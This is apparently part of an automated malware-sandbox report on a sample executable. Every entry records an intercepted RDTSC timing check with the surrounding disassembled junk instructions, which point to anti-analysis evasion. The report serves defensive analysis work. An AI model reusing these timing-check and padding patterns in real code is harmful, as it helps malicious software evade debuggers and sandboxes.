Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9199 second address: 3A91C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007EFC34FBCE01h 0x00000016 pop edx 0x00000017 push ecx 0x00000018 push edi 0x00000019 pop edi 0x0000001a jbe 00007EFC34FBCDF6h 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9323 second address: 3A9340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9340 second address: 3A9355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFCh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9355 second address: 3A936E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA4h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A936E second address: 3A9381 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007EFC34FBCDF6h 0x00000009 jng 00007EFC34FBCDF6h 0x0000000f pop edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A95FD second address: 3A961D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007EFC34B89EABh 0x0000000b jmp 00007EFC34B89EA5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A961D second address: 3A9628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007EFC34FBCDF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9628 second address: 3A962E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A962E second address: 3A964B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFC34FBCE04h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A964B second address: 3A9653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9653 second address: 3A9657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A97A4 second address: 3A97A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A97A8 second address: 3A97B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A97B1 second address: 3A97DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007EFC34B89EA7h 0x00000010 jns 00007EFC34B89E96h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9A7D second address: 3A9A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3A9A82 second address: 3A9A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B00F6 second address: 3B0100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 328E1A second address: 328E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jnp 00007EFC34B89EAAh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AEB4C second address: 3AEB6C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34FBCDF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007EFC34FBCE01h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AEB6C second address: 3AEB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AECB2 second address: 3AECDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007EFC34FBCE04h 0x0000000c jmp 00007EFC34FBCDFBh 0x00000011 pop edi 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AECDE second address: 3AECED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007EFC34B89E9Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AEE1B second address: 3AEE1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AEE1F second address: 3AEE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC34B89E9Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AEF96 second address: 3AEF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF20E second address: 3AF228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007EFC34B89EA0h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF228 second address: 3AF254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCDFFh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007EFC34FBCDFAh 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jno 00007EFC34FBCDF6h 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF3C6 second address: 3AF3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89E9Bh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF552 second address: 3AF592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jns 00007EFC34FBCDF8h 0x0000000d jl 00007EFC34FBCDFEh 0x00000013 js 00007EFC34FBCDF6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c jnp 00007EFC34FBCE27h 0x00000022 jmp 00007EFC34FBCE09h 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF710 second address: 3AF72C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34B89EA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF72C second address: 3AF730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF886 second address: 3AF891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFC34B89E96h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AF891 second address: 3AF8A0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC34FBCDF8h 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AFB6A second address: 3AFB6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AFF95 second address: 3AFFBC instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFC34FBCDF6h 0x00000008 jo 00007EFC34FBCDF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007EFC34FBCDFBh 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007EFC34FBCDF6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AFFBC second address: 3AFFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3AE864 second address: 3AE87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCE04h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B3655 second address: 3B365F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFC34B89E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B365F second address: 3B3667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B3667 second address: 3B366B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B6962 second address: 3B6966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B6350 second address: 3B6356 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B6356 second address: 3B636D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007EFC34FBCDFAh 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B636D second address: 3B6379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFC34B89E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B8F2F second address: 3B8F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3B8C95 second address: 3B8CA9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007EFC34B89EB8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3BD061 second address: 3BD069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3BD069 second address: 3BD06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3BD06E second address: 3BD098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFAh 0x00000007 jmp 00007EFC34FBCE03h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007EFC34FBCDF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3BCA2B second address: 3BCA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3BCA40 second address: 3BCA4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C2299 second address: 3C229D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C229D second address: 3C22B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007EFC34FBCDF6h 0x0000000f jns 00007EFC34FBCDF6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C22B4 second address: 3C22CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007EFC34B89EA1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C22CE second address: 3C22F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCDFDh 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFC34FBCDFEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C22F4 second address: 3C22F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C22F8 second address: 3C22FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 373911 second address: 37391B instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37391B second address: 3739A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007EFC34FBCE07h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007EFC34FBCDF8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 clc 0x00000027 mov edi, dword ptr [ebp+12455E19h] 0x0000002d push 00000004h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007EFC34FBCDF8h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 mov edx, dword ptr [ebp+122D3386h] 0x0000004f nop 0x00000050 jbe 00007EFC34FBCE06h 0x00000056 jmp 00007EFC34FBCE00h 0x0000005b push eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3739A4 second address: 3739AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C2446 second address: 3C2474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFDh 0x00000007 jmp 00007EFC34FBCE02h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f jc 00007EFC34FBCE20h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C2474 second address: 3C247E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFC34B89E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C247E second address: 3C2482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C66EE second address: 3C66FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007EFC34B89E9Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C66FF second address: 3C6705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6705 second address: 3C6741 instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFC34B89E96h 0x00000008 jmp 00007EFC34B89E9Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007EFC34B89EA6h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6741 second address: 3C6747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6A36 second address: 3C6A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6CB1 second address: 3C6CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6E6D second address: 3C6E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFC34B89E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6E77 second address: 3C6E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3C6FC3 second address: 3C6FC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CFD6B second address: 3CFD7B instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFC34FBCE02h 0x00000008 jp 00007EFC34FBCDF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CDEF9 second address: 3CDEFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CDEFD second address: 3CDF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCE03h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007EFC34FBCE09h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007EFC34FBCDFAh 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CDF3F second address: 3CDF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CDF43 second address: 3CDF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CEDC8 second address: 3CEDDB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34B89E9Ch 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CF695 second address: 3CF6B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFC34FBCE04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3CF6B3 second address: 3CF6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3D5778 second address: 3D5788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCDFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3D9068 second address: 3D906D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3D906D second address: 3D9073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3D91B5 second address: 3D91B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E0F94 second address: 3E0F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E126A second address: 3E126E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E14C7 second address: 3E14E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007EFC34FBCE07h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E1643 second address: 3E167B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007EFC34B89EA8h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E167B second address: 3E16A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCDFBh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007EFC34FBCE03h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
